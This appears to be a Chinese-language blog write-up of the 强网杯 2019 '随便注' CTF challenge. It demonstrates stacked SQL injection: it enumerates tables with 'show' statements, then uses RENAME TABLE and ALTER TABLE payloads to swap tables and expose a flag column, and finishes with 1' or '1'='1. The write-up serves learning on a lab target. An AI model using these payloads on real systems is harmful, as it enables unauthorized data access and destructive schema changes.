[强网杯 2019]随便注

这道题和前面那道差不多,也是堆叠注入
随便注

sqlmap是没有灵魂的

1';show databases;#

sql注入学习

1';show tables;#

sql注入学习
有两个表

1'; show columns from `1919810931114514`;#

sql注入学习

1'; show columns from `words`;#

sql注入学习
这里获取flag的操作比较骚,参考以为大佬的:
因为这里有两张表,内容是从words表中会显的
内部的查询逻辑推断是:

select id, data from word where id =$POST[inject]

所以我们的做法是:

  1. words表名改成word1或者其他

  2. 1919810931114514表名改成words

  3. 然后把新的 words 里的 flag 列改为 id(避免一开始无法查询)

payloads

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

说明一下:

  • CHARACTER SET utf8表示设置数据库的默认编码为utf8
  • COLLATE utf8_general_ci数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感

这两句在注入的时候可以不加,即:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);#

然后用 1' or '1'='1 访问一下。
sql注入学习

成功得到flag

参考

2019 第三届强网杯 Web 部分 WriteUp + 复现环境

本文作者:Author:     文章标题:sql注入学习记录(7)-[强网杯 2019]随便注
本文地址:https://yuaneuro.cn/archives/89.html     
版权说明:若无注明,本文皆为“yuaneuro的小站”原创,转载请保留文章出处。
Last modification:April 9th, 2020 at 02:25 pm